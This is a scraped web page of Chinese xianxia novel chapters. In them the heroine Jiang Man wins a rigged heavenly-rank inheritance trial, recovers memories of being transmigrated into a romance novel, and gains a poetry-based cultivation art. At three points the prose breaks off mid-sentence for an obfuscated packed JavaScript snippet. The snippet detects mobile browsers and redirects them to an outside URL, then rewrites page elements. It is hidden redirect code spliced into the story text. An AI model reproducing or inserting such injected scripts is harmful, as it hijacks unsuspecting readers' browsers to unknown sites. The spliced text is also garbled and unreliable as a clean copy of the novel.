那不是自然天光,而是面前飘浮的一本巨大的古书散发出来的光芒。古书约莫半人大小,缓缓旋转着,散发出令人心悸的古老气息。 她发现自己半躺在一个巨大的圆形平台上,平台地面铺着温润的白玉,上面还刻满了繁复的银色符文。 而平台之外,是一片沙地,沙地上站了好些人,和她一起传送过来的沈澜、苏离等五人也在沙地上看着她,他们都带着伤,但好在性命无虞。 见她清醒,沈澜想上前一步,但却被平台上的白光弹开。 “这是哪里?”江蔓有些疑惑地喃喃自语。 “天阶功法的传承比斗台。”身旁传来一道声音。 江蔓转头,这才发现除了她之外,平台上还有其他人。 四男一女。 刚刚说话的就是那名女子。她约莫二十七八岁,身穿太华宗内门弟子标准的青色流云广袖裙,裙摆绣着精致的银色云纹。面容清丽,眉眼间与苏离有七分相似,但气质更加沉稳。 此刻她手持一柄青玉长剑,剑尖斜指对面之人,周身散发着筑基后期的强横气息。 苏离的姐姐,苏清音。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125921|196070||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被苏清音用剑指着的,正是寒渊谷中想杀她夺宝的凌虚阁弟子谢无回。 谢无回手持金色长枪,正与苏清音对峙,气氛剑拔弩张。 “谢无回……”沈澜的声音传至江蔓耳边,他人虽无法站在平台上,但却用一种方法传音入密,低声给江蔓介绍平台上的人,“凌虚阁这一代的首席真传,金火双灵根,修为已是筑基大圆满。” 在他身后的便是握着长鞭的秦武。 “秦武。”沈澜继续介绍,“资质不值一提,却是凌虚阁掌门之子,凌虚阁掌门的修为已是元婴后期。” 江蔓神色微暗,难怪这人在寒渊谷中如此嚣张,原来是背景强硬。 她刚见到这两人时,还担心这两人对她出手,但她很快意识到自己所在的地方,是天阶传承的塔内,这两人顾及着名门正派的脸面,必不会当着这么多人的面杀她夺宝。 江蔓视线落在第四人身上,那人站在角落里,身材魁梧、赤裸上身,露出一身古铜色的肌肤和结实的肌肉,肌肉表面隐约可见淡金色的纹路流转。 “段流天。”沈澜没有停止介绍,“散修中的狠角色,是一名体修,据说曾以肉身硬抗金丹初期修士一击而不死。” 最后一人,则是个看起来平平无奇的柔弱文士。他身穿沧澜派标志性的蓝白渐变长袍,袖口与衣襟处绣着层层叠叠的水波纹路。面容儒雅,手中并无武器,仿佛悠闲闲逛般站在擂台上。 “沧澜派,沐轻尘。”沈澜顿了顿,“此人阵法造诣极高,被誉为苍茫界百年来第一阵法天才。” 江蔓还是第一次遇到阵修,不由多看了两眼。 这五人,除了秦武外,个个气息强横,最低也是筑基后期。但此刻他们都气息不稳,显然刚经历了一场恶战。 看到江蔓,秦武又是震惊又是愤怒,他当然记得江蔓,就是江蔓将他的寒玉果抢走的:“你怎么在这里?”话音落下,他便朝江蔓身上甩鞭子,那力道一点都没有留手。 江蔓感慨这真是一个疯子,果然有个元婴期的爹就是不一样。她原地一滚,身上浮现淡淡金光,幸而她之前做了两个“画个圈”阵盘,血手毁了一个,她还有另外一个。 “咦?”原本事不关己的沐轻尘不由看了江蔓一眼,这阵法有点意思。 秦武见一击不中,想继续攻击,便被苏清音一剑拦了下来,长剑和长鞭相交,激起刺目的火花。苏清音挡在江蔓身前,青玉长剑纹丝不动,她冷冷看着秦武:“秦道友对我们太华宗弟子出手,是不顾两个门派之间的情谊了吗?” 谢无回拦下冲动的秦武,声音冷冽:“秦师弟只是好奇她一个练气期弟子如何进入这传承台,毕竟我们可是在台上战斗了几天,费劲心力才勉强留在这里。” 传承台?战斗? 他这话一出,平台上的五人都看向江蔓,神色意味不明。 天阶功法是目前苍茫界最顶级的功法,每一部都足以开宗立派,引得无数修士疯狂。苍茫界已有很多年没人突破元婴期成为出窍期,有人预言,只有拥有天阶功法才有机会进阶出窍期。上一个获得天阶功法的还是钟离樾,钟离樾的实力众人有目共睹。 难怪这五人会如此警惕。 10. 得到传承 “我只是被传送阵意外传送至此。”江蔓不喜欢被众人俯视,顶着压力站起身,“并无意争夺传承。” 她的声音不大,却清晰传遍平台,话音落下,她感到五道神识几乎同时扫过自己,练气八层的修为暴露无遗。 “传送阵?”秦武第一个嗤笑出声,声音里满是嘲讽,“骗鬼呢?谁不知道这天阶传承台的规矩?” 他向前踏出一步,赤鳞鞭在空中甩出一道火红的弧线:“这天阶传承台的入口只有一处,位于传承塔的第一层。进来的每个修士都要经过‘炼心路’和‘悟道湖’两重考验,方能抵达传承台。之后是传承台混斗,数百修士争夺传承资格,最终只有五人能留在这天阶传承台上,获得传承争夺资格。” 秦武用鞭子指了指脚下的白玉平台:“在这最终传承台上,最后的五人还要经过比拼,胜者才能获得传承。你一个练气期,怎么可能越过所有考验,直接传送到这里?” 他越说越气,声音都拔高了几分。 自从寒渊谷遇见江蔓后,他便一直不顺。先是眼看就要到手的寒玉果被这女修捡了便宜,又被突然出现的钟离樾的一道剑气吓得狼狈逃走。进入传承之地后更是处处受挫,若非谢师兄念在同门之谊护着他,加上父亲临行前给他的数件保命宝物,他根本走不到这里。 传承台混战时,他勉强成为最后留在台上的五人之一。本以为终于苦尽甘来,能有机会争夺天阶功法回去让父亲刮目相看,让他知道凌虚阁以后也是可以交到他手中的,谁想到江蔓竟然又冒出来了。 他看到江蔓就觉得没好事发生,怒极反笑,“你没经过考验,凭什么登台?传承台的规矩,只能五人站在台上争夺,多一个都不行。” 他环视其余四人,声音中带着煽动:“诸位,这关系到天阶功法的归属。传承意志之前就说,台上最多留下五人,多一人都不会开放最终的传承争夺。她站在这里,就占了一个名额。” 这话一出,场上气氛陡然一变。 段流天脸上的笑意收敛,谢无回眉头皱得更深,手中的金色长枪微微低垂,枪尖指向地面,但周身灵力已开始流转。沐轻尘依旧平静,只是袖中隐有流光出现。 只有苏清音表情意味不明,毕竟江蔓是太华宗外门弟子,她不会主动对江蔓出手。 但利益相关,没人愿意为了一时好心而耽误机缘。 秦武看上去冲动、没脑子,但毕竟是元婴修士的儿子,还是很聪明的,知道这个时候只有煽动众人,将江蔓放在几人对立面,才有可能将江蔓赶下台去。 “你给我下去。”他又朝江蔓甩出一鞭,想要将江蔓赶下台去。 此刻无人阻止他的行为,这关系到天阶功法的传承,江蔓站在台上就自然占据了一个名额。 江蔓心中一沉。她一边握紧桃花流云剑,一边用神识安抚躁动的冰鳞蛇。她已经清楚这里的情况了,她练气八层的修为,无论如何也不可能同时对抗五名筑基修士。 但她江蔓也不是任人揉捏的软柿子。 她的目光扫过秦武那张倨傲的脸,心中冷笑:我若是从这传承台上下去,你秦武也别想留在上面了。 赤鳞鞭化作一道闪电,直抽江蔓面门。这一鞭秦武用上了八成灵力,鞭梢在空中炸开三朵火花,封锁了江蔓躲开的空间。秦武心中有气,把之前寒玉果的仇都放在了这鞭里。 筑基初期的全力一击,绝非练气期能轻易接下。 幸亏江蔓早有准备。在秦武抬手的瞬间,她身形迅速向后退,同时左手一扬,三道冰鳞蛇喷出的灵火射向鞭影,右手长剑划出一道圆弧,剑身上浮现出淡淡的桃花虚影。同时在片刻间用上了迷踪阵。 灵火与鞭影相撞,炸开片片火花,赤鳞鞭去势稍减,但仍狠狠抽在江蔓的剑上。 “铛……” 江蔓只觉一股巨力从剑身传来,她受伤了,只能以剑撑地才勉强稳住身形。她喉头一甜,鲜血上涌,又被她强行咽下。 筑基与练气的差距果然很大。 但秦武也没落得好处,他虽知道江蔓擅长阵法,但又被江蔓桃花流云剑上的幻阵以及现场布置的迷踪阵困住了。 “不错。”沐轻尘惊讶出声,之前果然没有看错,这练气期女修阵法用得不错。 被幻阵困住的秦武脸色更加难看,直到谢无回出手,他才从幻阵中挣脱。 他想要再朝江蔓挥出一鞭子,江蔓也做好了让冰鳞蛇将秦武一同带下传承台的准备。 但还没等江蔓行动,平台中央的金色书本突然光芒大盛,将秦武的攻击震开,秦武踉跄了一下才站稳。 一道苍老而威严的声音,直接在所有人脑海中响起: “传承台上,余五人可获功法争夺资格。” 声音苍老晦涩,仿佛穿越了无尽岁月。 “现台上六人,需淘汰一人。” 秦武闻言,目中凶光更甚,死死盯着江蔓,显然打算在传承意志宣布规则后,第一时间将她打下台去。 但下一刻,那声音顿了顿,竟补充了一句: “传送而至者,亦为缘分。” “准其直接晋级最终五人资格。” “什么?” 不说秦武等人,江蔓自己都懵了。 金色书本射出一道柔和的金光,直接将江蔓笼罩其中。 金光中,她感到一股温暖的力量涌入体内,迅速修复着她的伤势,甚至让她的修为隐隐有突破的迹象。 感觉到这金光似乎对她没有恶意,江蔓干脆盘腿坐下,借着金光笼罩,直接晋级了,她现在是练气九层修为了。虽还比不过台上几人的实力,但这种情况下,实力强一点便好一点。 “凭什么?”见江蔓竟然慢悠悠坐下打坐,秦武第一个怒吼,“她一个练气期,凭什么直接晋级?” 谢无回脸色难看,他上前一步,对着金色书籍拱手,声音沉稳但带着压抑的不满:“传承意志,这不公平。若传送而来便可直接晋级,那传承之地的考验意义何在?” 连一向清冷的沐轻尘都蹙起眉,看向江蔓的目光充满审视与不解。 段流天则是直接骂了出来:“老子在问心路上差点走火入魔,在混斗中挨了三刀才抢到这个位置,这小丫头一来就晋级?传承意志,你莫不是在消遣我们?” 场外围观的百余修士更是炸开了锅。 “这也太偏心了。” “那女修什么来头?” “凭什么传送过来就可直接晋级?” 但金色书本根本不理会他们的抗议。光芒扫过平台,在除江蔓以外的五人身上停留一瞬:“现有五人,需决出最后四个名额。” “现在,比斗继续。” 话音落下的瞬间,平台上气氛陡然剑拔弩张。 秦武死死盯着江蔓,眼中满是不甘,但江蔓此刻被金光笼罩,他根本无法攻击江蔓。 他隐隐感觉到,传承意志对这个练气期的女修,似乎有着某种特殊的偏爱。 为什么?凭什么? 秦武想不通,但他知道,若再不动手,自己很可能成为被淘汰的那个。场上五人中,谢无回是师兄不会动他,但其他三人…… 他猛地转头看向段流天,却正对上一双似笑非笑的眼睛。 “秦道友,对不住了。” 段流天话音未落,身形已出现在秦武身边。他本就是体修,速度快得惊人,几乎在声音传入秦武耳中的同时,他的拳头已经砸到秦武腹部。 “砰!” 沉闷的撞击声响起。 秦武甚至来不及催动护体灵力,只觉得腹部一阵剧痛,整个人便倒飞出去,重重摔在平台外的沙地上。 秦武挣扎着抬起头,脸色涨红,但现在不敢和段流天计较,段流天的修为比他高,只恨恨地想着回去就和父亲告状。随即又盯着江蔓,如果不是江蔓突然传送到这里,如果不是传承意志偏心,站在擂台上的五人中定有他。 段流天吹了吹拳头,漫不经心道:“我可不是你师兄,不会惯着你。筑基初期的修为,还是回去好好练练吧。” 说罢,他瞥了一眼谢无回,见对方只是脸色阴沉,并未立刻为师弟报仇,才安心下来。谢无回是凌虚阁精英弟子,想来知道此刻什么才是最重要的。 在段流天看来,最大的威胁是谢无回,其次是那个一直沉默的天衍宗沐轻尘。至于苏清音,虽也是筑基后期,但在这种传承争夺中未必占优。 至于江蔓,就算刚刚晋级了,也才练气九层,就算传承意志有所偏袒,也绝不可能争得过他们。待会儿找机会随手打发了便是,这可比有法宝护体的秦武好对付多了。 秦武的怒火,段流天掏掏耳朵,只当没听见。至于是否得罪凌虚阁,事已至此,只能走一步看一步。 场上气氛微妙地平衡着。 识别到场上只剩五人,金色书本微微震动,苍老声音响起:“第二关考验,对诗。” “对诗?”几人皆是一愣,只有江蔓缓缓抬起头,不会是她想的那个意思吧? 金色书本悬浮在平台中央,书页无风自动,哗啦啦翻动着。忽然,书页停在其中一页,空中金色光芒汇聚,逐渐凝聚成一行流动的文字。 “床前明月光,……” 这明显是一个半句诗。 “床前明月光?”谢无回喃喃重复,眉头紧锁,“这是何意?床前的月光……与修炼有关?” 段流天挠挠头:“月光?月华之力?难不成要我们接一句关于修炼月华功法的句子?可老子不会啊!” 沐轻尘沉吟:“似是凡间诗句,传承怎会出这等题目?” 苏清音也微微蹙眉,太华宗平日里最重剑道,这等平白如话的诗句,她也从未见过。 就连在平台下围观的众人也小声嘀咕:“这要怎么对……” 只有江蔓,在看到那行字的瞬间,浑身一震。 虽然没有过往的记忆,但是看到这句话,她脑海中就习惯性地浮现对应的诗句,这不是她小时候熟背的…… 头痛。 尖锐的刺痛毫无征兆地炸开,仿佛有无数记忆碎片在脑海深处冲撞。她看见一盏昏黄的台灯,听到一个温柔的女声在耳边轻念,看见自己坐在小小的书桌前,一笔一划地抄写…… “疑是地上霜。” 声音很轻,几乎只是唇语。 但整个传承空间骤然寂静。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125922|196070||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 金色书本猛地爆发出炽烈的光芒,那一行字体瞬间化作流光,涌入江蔓眉心。 “第二关,江蔓过。” 苍老声音响起,带着难以言喻的激动。 “什么?”段流天面露震惊,“这算什么考验?老子一个字都没说呢?” 剩下几人都露出愕然之色。 他们突然理解之前秦武大喊的话了,这传承似乎不公平? 江蔓自己也懵了。她只是下意识说出了那句刻在记忆深处的话,甚至没经过思考,毕竟念这句诗,就像呼吸一样自然。 但更让她心惊的是,当金色书本中的流光射入她的眉心,她感到识海中有什么东西在松动。一些模糊的画面开始浮现: 课堂上,老师敲着黑板:“李白这首诗,写的是乡愁。” 深夜,她靠在床头轻声背诵:“床前明月光,疑是地上霜。” 还有……还有什么呢? 头痛加剧。 江蔓踉跄一步,幸亏有桃花流云剑在手,才咬牙站稳,但脸色却苍白如纸。 江蔓原本觉得这天阶传承和她没什么关系,但经过第二关,这种心态却发生了变化。 金色书本不理会下面人复杂的心情,继续震动:“第三关,对弈。” 地面的白玉砖块开始移动、重组,转眼间化作五个独立的空间,将五人分别笼罩在其中。 谢无回所在的空间,棋盘纵横,黑白棋子如星辰般自动浮现,很快形成一局复杂的棋局。他对面的虚影落下一子,棋局中顿时杀机四伏,一枚黑子化作狰狞鬼面朝他扑来。 “哼!”谢无回冷笑,指尖金光凝聚,一枚白子落下,金光炸开,将鬼面击碎。 段流天的格子中,棋盘上浮现的是战场厮杀的场面,每一枚棋子都是一尊金甲战士,正与对面的魔兵血战。段流天狂笑着亲自下场,一拳轰碎一尊魔兵,棋盘震动。 沐轻尘的格子最是玄奥,棋盘上阵纹密布,每一枚棋子都是一个阵法节点,他正以指代笔,在空中快速演算、破阵。 苏清音与江蔓相邻,她的棋盘剑意肆意,隐隐有剑意与木系灵力交融,在棋盘上构筑出一片生机盎然的领域,与对面侵蚀而来的死气抗衡。 每个人的棋盘都凶险万分,棋局即是战场,落错一子便有性命之忧。 唯有江蔓…… 她的格子里,棋盘只有纵横各十五条线,格子上方浮现的规则说明是:“五子棋,先连五子者胜。” 棋盘对面坐着的也不是凶神恶煞的虚影,而是一个胖乎乎、圆头圆脑的白色小人。小人眨巴着豆豆眼,手里捧着一枚棋子,朝江蔓做了个“请”的手势。 江蔓:“……” 她迟疑地落下一子。 小胖墩欢快地在她旁边落下一子。 两人你来我往,棋盘上很快形成三子连线。小胖墩似乎很紧张,捧着脸盯着棋盘,豆豆眼里满是认真。 江蔓又落一子,四子连线。 小胖墩“哎呀”一声,慌忙堵截。 江蔓再落一子…… 五子连珠。 小胖墩呆住了,豆豆眼眨了眨,然后“哇”地一声哭出来,化作光点消失了。 棋盘消失。 “江蔓,胜。” 全场死寂。 谢无回正与棋局中的一条黑龙搏杀,闻言猛地转头,看到江蔓那边空空如也的格子,气得没能控制住表情,露出真实情绪:“五子棋?五子棋是什么东西?怎么如此简单?” 段天流也急了:“老子在这里打生打死,她在那儿玩小孩过家家?” 沐轻尘手一抖,阵纹差点画错,脸上第一次露出难以置信的表情。 苏清音深吸一口气,看向江蔓的眼神复杂到了极点。 “这不公平!”一直在下面围观的秦武嘶吼,“传承有猫腻,这根本就是在偏袒她。” 金色书本根本不理会他的咆哮,也不理会台上其他四人复杂的心情,反而爆发出更加炽烈的光芒,声音中透着一股急切:“传承选定人,江蔓。” “无关者退出。” 话音刚落,谢无回、段天流、苏清音、沐轻尘四人脚下的格子亮起金光,将他们推送到围观众人所在的沙地上,随即塔身颤动,将除了江蔓外的所有人都排斥出去。 有人想反抗,但金光如潮水般淹没一切。 沈澜双唇动了动,最后一句传音落入江蔓耳中:“小心。” 众人身影消失,平台上只剩下江蔓一人。 金色书本缓缓飘到她面前,光芒渐渐暗淡,表面浮现出细密的裂纹,仿佛随时可能破裂。 声音再次响起,这一次却不再苍老威严,反而透着难以形容的疲惫与……委屈? “江蔓,我终于找到你了。” 江蔓还没从得到传承的意外中缓过神,听闻此言,愣住了:“你在找我?” 书本表面的裂纹越来越多,光芒开始逸散。在彻底碎裂的前一刻,一个着急的声音传入她识海:“宿主,我是你的系统啊!” 一道流光随着这声嘶吼落入江蔓的识海。 在能量的冲击下,江蔓昏了过去,做了一个梦。 11. 恢复记忆 江蔓做了一个梦,梦中她也报名进入青鸾秘境,但并没有遇到天阶传承这件事,也没有得到寒玉果和冰鳞蛇,没有遇到噬魂藤和苏离,她找到凝露后在秘境历练一番便回了太华宗。 出秘境后,她成功拜入阵法峰。 除了钟离樾一直对她冷冷淡淡,一切都向好的方向发展。 但在一次钟离樾带队查探魔修事件时出了事,钟离樾被魔种缠上,她担心钟离樾出事,便以精血为引,替他吞下魔种。 没想到吞下魔种后,她不幸入魔。 一直对她冷淡的钟离樾终于正眼看她,却只说了一句:“我会替你报仇。”便一剑斩了她。 她能清楚感觉到“不染尘”刺穿胸口的痛意和寒冷。 她死时心情复杂,一方面知道钟离樾就是这种性格,他一向将天下苍生当成自己的职责,平日不会放任任何一个魔修,但另一方面却悲痛异常,死时,她清楚感觉到她在钟离樾心里并不是特例,钟离樾并不会为了她违背自己心中的原则。即使她是为钟离樾才吞下魔种入魔的。 钟离樾根本不爱她。 梦还没有结束,她死后,在众人口中反而成为了钟离樾的白月光。大家都说钟离樾是为了替她复仇,才不断斩杀魔修。但江蔓觉得,钟离樾一直没变,斩杀魔修只是在坚持自己正义的信仰。 钟离樾不断修行,从苍茫界去了上界,成为当世第一人,此后无人敢直视清晏剑尊的面容。 直到后来,钟离樾遇到一个女子,娇俏可爱,活泼灵动,最重要的是这女子和她有几分相似。钟离樾第一次打破原则,收那个女子为徒,从此走下神坛,对她万般宠爱。 至于江蔓这个早已经死去白月光,则被他抛在脑后,只在两人发生争吵时出现在他们的口中。 这梦太过真实,江蔓猛地清醒过来。 她还在传承塔中,被她遗忘的记忆纷纷涌现。 原来她不是苍茫界的原著民,而是穿越而来,且她竟然穿越到一本小说中来了,这本小说叫《娇宠替身小徒儿》,小说男主就是钟离樾。虽说是一本修仙小说,但大多数章节都在谈情说爱。而她穿越的角色是只活在第一章里的被替身白月光。她并没有看过这本小说,但因为与炮灰白月光同名,曾被朋友推荐过这本小说,也被她告知过主要剧情。 刚刚做的梦,就是小说中的部分重点情节在她识海中具像化。 难怪这些年她追在钟离樾身后,为他上刀山下火海,却一直没能打动他,追根究底是因为她只是一个炮灰;难怪钟离樾待她有几分不同,将她放在凌霄峰上,只因为她不是普通炮灰,而是炮灰白月光,虽在第一章中便已去世,却是后期女主吃醋的重要工具人。 江蔓越想越气,如果她穿越之后没有失去记忆,肯定不会顺着剧情走到这个地步,若不是重新遇到她的系统…… 对了,她的系统是怎么回事? 在她想到系统时,她的识海中,响起一个虚弱的声音: “宿主,是我啊,我终于找到你了。” 那声音稚嫩如孩童,带着哭腔,可怜巴巴的。与之前传承擂台上苍老稳重的声音完全不一样。 在系统的解释下,江蔓这才理顺事情的经过,这个世界的原主两岁的时候因意外死亡,小说世界的天道为了维持世界稳定,从别的世界抽取灵魂来填补女配这个角色,江蔓就是这个被抽过来的倒霉鬼。 系统哭哭啼啼:“我是穿越局给你的补偿,但没想到这里的天道不讲道理,发现我的存在之后,直接将我从你的身体里排斥出去。在发现你不准备按照原著走剧情后,更是将你的记忆封印了。” 江蔓恍然大悟,难怪她没有以前的记忆,难怪她一回忆就觉得头疼,难怪她记忆中第一个场景就是钟离樾救她,原来是天道为了控制她按照原著剧情发展而动的手脚。 系统与她分别之后,便被迫流落到了青鸾秘境中,幸亏它机灵,与秘境中的天阶传承融合。 秦武等人并没有感觉错,传承就是偏袒她,因为这本就是她的系统,好不容易等到她来了青鸾秘境,怎么可能不偏袒? 可能是与江蔓分离太久,系统忍不住嘀嘀咕咕:“宿主,你千万别觉得我没用,虽然我打不过这里的天道,还没有攻击性代码,但是我找到了最适合你的功法,现在我和这个功法融合了。唔……对不起,宿主,这么一说,我真挺没用的……” “不,你救了我。”江蔓轻声道,“谢谢你。如果不是你,我会按照剧情发展,最后被钟离樾一剑刺死。” 系统抽泣了一声,听到江蔓的话,才打起精神:“宿主,我和这个传承融合了,这是文道传承,这传承不仅厉害,还非常适合你。我给你介绍一下。” 系统声音落下的瞬间,江蔓的识海中,出现一片金色的空间。空间中央悬浮着一本巨大的金色书册,书册封面写着两个古朴大字:文道。 系统认真解释:“文道,是这个世界上古儒修一脉至高传承。以文字载道,以文章通神。” 江蔓用手指接触金色大字,一段段文字涌入她的意识。文道第一阶段是“字字珠玑”,可引动文字中的意境,具象化攻击。第二阶段则是“文以载道”,可构筑“文道领域”,在领域中,文字即是法则。第三阶段“言出法随”,即一言可为天下法,一语可定乾坤。 最让江蔓震惊的是,文道传承属于仙阶功法,因传承丢失了部分才变成天阶功法,若是江蔓后期能够补全传承,威力将会更强。 文道传承如此强大,却逐渐没落的原因在于它修炼的难度太大。 “文修需要“儒道典籍”作为根基,修炼的时候需要背诵无数儒家诗篇、文章,还要做到真正理解、共鸣,才能化为己用。而修真界儒道早已断绝,根本没有典籍流传。” “但是宿主,你不一样啊!”系统越说越兴奋,“你是穿越而来的大学生,其他能力不好说,脑子里的典籍还是有很多的。” 江蔓沉默片刻,忽然笑了,系统说的没错。 她来自一个文明传承五千年的世界。唐诗宋词,诸子百家,经史子集……那些刻在每一个华夏人骨子里的文化基因,就是她最大的宝藏。而文道传承与简洁的中华诗词最为适配。 系统越说越激动,觉得自己不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17128869|196070||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没用的统了:“宿主,你就是天选之人,就是这个世界最适合修炼文道的人。等你修炼了这个功法,谁再欺负你,我们就去干谁,之前那个耍鞭子的,我看他就讨厌的很。” 系统对秦武印象很深,还记得他在传承台上要打江蔓的样子。 江蔓倒没有被系统的话冲昏头脑,认真研究起传承来。系统与文道传承结合后,将原本晦涩的传承改良了,原本复杂的东西以一种简单的形式展现在江蔓面前。 传承威力强,却也有限制。 每个境界只能解锁固定数量的诗词文章作为技能,且诗词也分等级。练气期正常情况下只能解锁三首对应等级的诗词。想要更多,需要付出代价点亮。 如果点亮超越当前境界的诗词篇章,比如筑基期想用金丹期才能用的诗词,不仅会耗尽所有灵力,强行跨等级使用还有可能会导致修为掉落。 江蔓表示理解,这很合理。如果没有任何限制,她岂不是可以随手丢出威力强大的诗句作为大杀器?那也太逆天了。 系统又补充:“为了让宿主更好理解诗词的等级,我将原本复杂的诗词等级改为启蒙级、小学级、初中级、高中级、大学级,怎么样,贴心吧?” 这系统虽然咋咋唬唬的,但确实贴心。 “对了,宿主,你通过传承考验,可以得到传承之力灌注,能直接帮助你突破筑基期。突破时,因为是跨越大境界,可以一次性解锁六首诗词。你想现在就灌注力量吗?” 江蔓眼睛一亮。 她盘膝坐下,沉声道:“开始吧。” 话音落下,平台上的金色光芒如百川归海,疯狂涌入她体内。丹田内,灵气开始液化、凝聚,一个淡金色的基台缓缓成型。 金光冲天而起,将整个平台映照得如同白昼。江蔓周身浮现出无数文字虚影,那些文字环绕在她身边旋转半晌,随后一同没入她的身体。 《静夜思》《春晓》《登鹳雀楼》《悯农》《早发白帝城》《游子吟》 六首诗的意境在她识海中一一展开,化作六枚金色的符文,烙印在《文道》前几页。 筑基期,成。 当江蔓再次睁开眼时,眸中似有金色文字流转,整个人的气质都发生了微妙的变化。 江蔓心情不错,大黄和冰鳞蛇也出来恭喜她修为突破,系统叽叽喳喳:“太好了,宿主,如今以你的修为在苍茫界再也不用担心随时被人打死了。” 江蔓:“……” 这让江蔓想到了原著糟心的剧情,她取出原本给钟离樾准备的月魄凝露,一口饮下,这炮灰白月光,她不干了! 凝露果然是好东西,因为传承塔力量的冲击,加上凝露的作用,江蔓的修为最终稳定在筑基六层,是筑基中期修为,只要再努力努力,很快就能进入筑基后期了。 这个进阶速度十分骇人了,不过因为是传承积攒多年的力量,倒也并不让人意外了。 因江蔓吸收了传承空间的力量,传承空间即将关闭。 一道光门在江蔓面前缓缓打开。 她起身,最后看了一眼这方空间,转身踏入光门。 12. 突飞猛进 没得到传承的人都被送到塔外,无法再接近传承塔。 苏清音已经从苏离那里知道噬魂藤的事情,也知道江蔓救了苏离的命,心中对江蔓对了几分感激,因此并不再多纠结,只当自己与这个传承没有缘分,拉着苏离:“传承既已选定,多说无益。秘境所剩时间不多,大家各自寻找机缘吧。” 她重点看了一眼谢无回和他身边的秦武:“谢道友,想必你知道天阶传承一旦选定传承人,即使传承人死亡,也不会更改了吧?” 谢无回淡淡一笑:“多谢苏道友提醒,这道理我还是懂得。” 苏清音环视一周:“众道友也都知道这件事?” 沐轻尘微微点头:“青鸾秘境中有些我需要的阵法材料,诸位道友,告辞。” 沐轻尘第一个离开,段流天作为散修不习惯和这些大门派弟子相处,也紧随其后。 秦武想说些什么,被谢无回拦住,强硬带走了。 沈澜和之前一起的被困的女性散修,也各自和苏离道别。 其他人见争夺传承的主力军都离开了,也觉得此处并没什么好等待的,纷纷散了,准备去秘境中找找有没有其他机缘。 目送所有人离开,苏清音才放下心,看了一眼传承塔,和苏离携手离去。 被谢无回强行拉走的秦武脸色铁青,愤愤不平,手中的长鞭狠狠甩在地上,砸出一个深坑:“凭什么?传承凭什么选择一个练气期修士,我不服。” 秦武是凌虚阁掌门独子,在门派中地位高,但无奈天赋低,若不是父亲用天材地宝养着他,他怕是连筑基初期的修为都不会有。 即使不会有人当面嘲讽他,但背后的议论总是少不了的。秦武甚至听过门内长老建议他父亲改换继承人,觉得以他的资质和修为撑不起凌虚阁的未来。 秦武一心想要提升自己的实力,光青鸾秘境已经来过几次,这次听说有天阶功法出世更是抱着极大的希望,若是他得了天阶功法,肯定能得到大家的认可。 但现在,一切都被江蔓抢走了,她抢走了他的寒玉果,抢走了他的天阶传承。最重要的是江蔓的资质比他还差,让他产生一种江蔓都可以,他为什么不可以的错觉。 想到寒玉果,秦武双目一亮,略带振奋:“谢师兄,你陪我去找太华宗那杂役弟子,将寒玉果抢回来。”失去了天阶功法,但有寒玉果,他突破金丹期不成问题。 谢无回没有第一时间答应:“这恐怕不太合适,此女已得天阶传承,回去后定会受到太华宗重视,用不了多久便能成为内门弟子。为了一颗灵果得罪以后太华宗的天骄并不划算……” 秦武越听越不甘心,他本也有机会得到这些的,当即不管不顾:“师兄,你要是不陪我去找她,等回去后我就让父亲停了每月给你的额外灵丹,你也不想修炼速度变慢吧?” 谢无回将想说的话咽了回去,回了声好。 秦武兴高采烈,仿佛已经得到寒玉果一般:“她之前被我的赤鳞鞭伤过,即使养好伤了,这几日身上也会留有火毒,我的金蜂能顺着火毒之气找到她。” 秦武取出一个玉瓶,打开瓶盖之后,一只蜜蜂从中飞了出来,这只蜜蜂只有拇指大小,通体金黄,一双翅膀仿佛黄金制成,飞出玉瓶之后,便振翅朝一个方向飞去。 秦武立即紧随其后,谢无回在原地愣神了片刻,才跟上秦武。 *** 而此时,秘境另一处山谷中。 江蔓从光门中走出,落在一处瀑布边。 她环顾四周,确认安全后,立即盘膝坐下,开始巩固修为。 识海中,系统欢快的声音响起:“宿主宿主,你现在是筑基期啦,解锁了六首诗,快看看。” 金色书册《文道》展开,前六页已经点亮,六枚符文熠熠生辉。 江蔓神识触碰第一页,满页的月光落入她的眼帘。 《静夜思》启蒙级(可升级) 床前明月光,疑是地上霜。 举头望明月,低头思故乡。 她将手指放在亮起来的第一句上,瞬间领会了这句话的用处,释放后,周围一定范围会化作月光笼罩之地,降低敌人速度,对方灵力运转也会迟缓。 江蔓翻开第二页,是一座虚幻的高楼。 《登鹳雀楼》启蒙级(可升级) 白日依山尽,黄河入海流。 欲穷千里目,更上一层楼。 依旧是第一句亮着,可召唤白日依山的壮阔虚影,对敌人进行镇压。 第三页是一个弯腰种地的农民。 《悯农》启蒙级(可升级) 